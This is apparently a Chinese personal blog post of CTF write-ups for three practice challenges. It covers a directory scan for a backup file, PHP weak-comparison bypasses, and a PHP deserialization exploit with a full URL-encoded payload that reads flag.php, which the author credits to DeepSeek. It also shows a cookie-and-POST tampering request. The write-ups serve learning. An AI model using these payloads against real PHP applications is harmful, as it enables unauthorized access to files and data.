note-30

[ACTF2020 新生赛]BackupFile

扫目录一直扫不出来,扫了十来次,最后发现是是请求太快,

1
dirsearch -u http://087da459-7de3-4061-82c8-b3cf69426d11.node5.buuoj.cn:81/ -w backup_include.txt --delay=1 -t 2

终于发现备份文件
/index.php.bak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include_once "flag.php";

if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) { //检查字符串是否只以数字构成,就是只能上传数字
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}

弱比较 强比较

1
2
3
4
5
6
7
8
9
10
在进行比较的时候 会先将两种参数类型转化成相同

如果为整型跟字符型比较 那么字符将从左往右提取整型直到遇到字符结束 再比较。

若字符型为数字中间包含了一个e或E 则e或E会被科学计数法的标记

而数字中间包含了一个. 也会被看作为小数点

https://blog.csdn.net/qq_51196842/article/details/120591289

然后上网查intval函数绕过
intval函数在处理字符串时以数字开头遇到第一个字母时会停止。

大概就是弱比较会将不同数据类型,然后$key被转化类型会变成 123,
然后get传 123 进index即可

[网鼎杯 2020 青龙组]AreUSerialz

直接拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

反序列化题,有点复杂,给deepseek看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
要获取flag,需要通过反序列化漏洞触发FileHandler类的read方法读取flag.php。步骤如下:

构造恶意对象:创建一个FileHandler对象,设置op为整数2(绕过析构函数的修改),filename为flag.php。

处理序列化字符串:由于protected属性在序列化中包含空字符,需使用大写S和十六进制转义绕过字符检查。

URL编码:确保特殊字符正确传输。

***
op为整数2:绕过析构函数中的严格比较,触发read方法。

转义空字符:使用\00表示空字符,通过is_valid检查。

读取flag.php:在析构时调用process,op仍为2,读取flag.php内容输出。

它直接给出了payload=
?str=O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%22%5C00%5C2A%5C00op%22%3Bi%3A2%3BS%3A11%3A%22%5C00%5C2A%5C00filename%22%3BS%3A8%3A%22flag.php%22%3BS%3A10%3A%22%5C00%5C2A%5C00content%22%3BS%3A0%3A%22%22%3B%7D

直接传入后F12得到了flag!!?

自己来试试

1
2
3
4
$a=new FileHandler($op=2,$filename='flag.php');
echo serialize($a);

O:11:"FileHandler":3:{s:5:"\00*\00op";N;s:11:"\00*\00filename";N;s:10:"\00*\00content";N;}

还是没搞懂,去找wp吧

出来的一直是这玩意:

1
O:11:"FileHandler":3:{s:2:"op";N;s:8:"filename";N;s:7:"content";N;}

算了直接改吧
O:11:”FileHandler”:3:{s:2:”op”;2;s:8:”filename”;’flag.php’;s:7:”content”;N;}
不行

1
2
3
4
5
6
7
8
9
10
<?php

class FileHandler{
public $op=2;
public $filename="flag.php";
public $content;
}
$a=new FileHandler;
// $a=new FileHandler($op="2",$filename="flag.php");
echo serialize($a);

行了

总结:

第一步:____destruct: 绕过 === “2”,因为这里是强等字符串2于,直接传入数值2会让它不等于,而不会被置为1;
第二步:is_valid(),题目里定义了这个函数来判断输入的字符是否未ascii码里的字符,若有在ascii码里的字符就会失败,这里网上就出现了两种绕过,
第一种:因为题目里用的是protected类型的变量,要从url传入的话会多出不ascii里的字符,所以想办法将payload里的不不合要求字符替换。
第二种:利用php 7.1+版本对类的属性不敏感,直接传入public类,就不会有不和要求字符
具体看:
https://blog.csdn.net/m0_46246804/article/details/108746253
https://blog.csdn.net/m0_73734159/article/details/134648981

第二步:到了这里因为传入了2,所以到了read()函数,会有file_get_contents()函数来指定文件来下一步,直接使得filename=”flag.php”即可

最后记得F12查看,因为程序里不会echo flag 而是 return flag!!!!!
wp里是用file_get_contents()的伪协议来直接输出base64编码后的flag

notice

is_valid()函数对传入的字符串进行判断,确保每一个字符ASCII码值都在32-125,即该函数的作用是确保参数字符串的每一个字符都是可打印的,才返回true。

public无标记,变量名不变。 s:2:“op”;i:2;
protected在变量名前添加标记\00*\00。 s:5:“\00*\00op”;i:2;
private在变量名前添加标记\00类名\00。s:17:“\00类名\00op”;i:2;
序列化后protected类型的属性存在不可打印字符。(private类型的属性序列化后也产生不可打印字符);
PHP版本7.1+,对属性的类型不敏感;

[极客大挑战 2019]BuyFlag

感觉我心还是太急了,没发现cooki,没试一下用bp抓包,就上网找wp了,明明是很标准的流程,,,,,
一开始发现要post上传password,但是没发先有cookie一直回显要求的账户,把cookie改为1即可,
然后到密码,试了“404”,不行。看wp,用php弱比较,上传404a,显示能过不是纯数值这关,然后到弱比较,如果比较的变量开头是数字,会把数字截取到遇到字符为止,所以404a会变成404。
然后到了money,试了了一下,不能传太长的数值,所以用科学计数法传了9亿,拿到flag

1
2
3
4
POST /
cookie=1

password=404aa&money=9e8

note-30
https://aidemofashi.github.io/2025/04/23/note-30/
作者
aidemofashi
发布于
2025年4月23日
许可协议